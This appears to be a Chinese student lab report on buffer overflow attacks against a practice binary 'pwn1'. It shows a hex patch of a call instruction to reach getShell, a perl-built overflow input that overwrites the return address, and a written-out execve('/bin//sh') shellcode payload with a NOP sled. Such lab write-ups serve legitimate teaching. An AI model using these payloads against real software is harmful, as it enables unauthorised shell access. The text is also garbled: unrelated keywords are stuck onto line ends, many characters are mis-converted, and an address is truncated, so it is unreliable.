本次實踐的對象是一個名爲pwn1的linux可執行文件。linux
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。shell
該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。編程
使用 objdump -d pwn1 將pwn1反彙編,獲得如下代碼windows
其中 80484b5: e8 d7 ff ff ff call 8048491 <foo> 這條彙編指令,e
8表示「 call 」
,在main函數中調用位於地址 8048491 處的foo函數。sass
若是想函數調用getShell,只須要修改 d7 ff ff ff 便可。安全
根據foo函數與getShell地址的偏移量,用Windows計算器經過 47d-4ba 就能獲得補碼,可計算出應爲 c3 ff ff ff 。函數
: %!xxd
將顯示模式切換爲十六進制: %!xxd -r
將十六進制轉換爲原格式在此我選擇嘗試另外一種方式,即便用圖形化的16進制編程器:工具
輸入 apt-get install wxhexeditor , wxHexEditor 兩個命令便可安裝
學習
經過此工具也查找到了要修改的內容,修改D7爲C3,而後保存並退出spa
輸入 objdump -d pwn2 | more 反彙編pwn2文件中的main函數,查看是否正確調用get shell函數
運行修改後的代碼,能夠獲得shell提示符#。
修改爲功,調用了getshell~
經過 info r 命令查看當前寄存器狀態,發現EIP寄存器被0x35353535覆蓋,即當前返回地址爲5555(0x35是ASCII碼,表明十進制中的5)
說明剛輸入的40個字符中,含有5的字符串溢出到了EIP中。
只要把這四個字符替換爲 getShell 的內存地址,輸給pwn1,pwn1就會運行getShell。
由反彙編結果可知getShell的內存地址爲:0x080484
確認字節序後,應該輸入11111111222222223333333344444444\x7d\x84\x04\x08
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
將input輸入經過管道符「|」做爲輸入,指令爲 (cat input ) | ./pwn1 ,運行後就進入了getShell函數~
shellcode就是一段機器指令(code),一般這段機器指令的目的是爲獲取一個交互式的shell(像linux的shell或相似windows下的cmd.exe),因此這段機器指令被稱爲shellcode。在實際的應用中,凡是用來注入的機器指令段都通稱爲shellcode,像添加一個用戶、運行一條指令。
首先使用 apt-get install execstack 命令安裝 execstack 。
而後修改一些設置。
Linux下有兩種基本構造攻擊buf的方法:retaddr+nop+shellcode、nop+shellcode+retaddr。
緩衝區小就用前一種方法,緩衝區大就用後一種方法。
這裏咱們選擇前一種方法,即retaddr+nops+shellcode結構來攻擊buf,在shellcode前填充nop的機器碼90,最前面加上加上返回地址(先定義爲\x4\x3\x2\x1)
perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
x/16x 0xbffffd37c 查看其存放內容,看到了0x9080cd0b,就是返回地址的位置。
經過本次實驗,理解了緩衝區溢出攻擊的具體原理,實際的操做中從程序內部函數的跳轉到最後的shellcode注入一系列流程。因爲個人基礎較薄弱,對於彙編語言和Linux操做的知識並非很熟悉,而這次實驗讓我熟悉了相關的知識,併爲之後的實驗打下了基礎。經過查看老師的教程,上網查閱資料,參考同窗的博客等方式,我仍是較爲順利地完成了實驗,而且充分了解了相關的原理。整體來講,個人收穫很大~
漏洞就是某種安全隱患,好比說操做系統、硬件、軟件等等,其中多少會存在不一樣的安全隱患,並且能夠被他人利用。
漏洞的危害小則影響我的,可能會形成我的隱私信息的泄露,乃至引發經濟損失;
大則能夠引發整個國家的嚴重損失,可能泄露國家祕密信息,危害國家安全。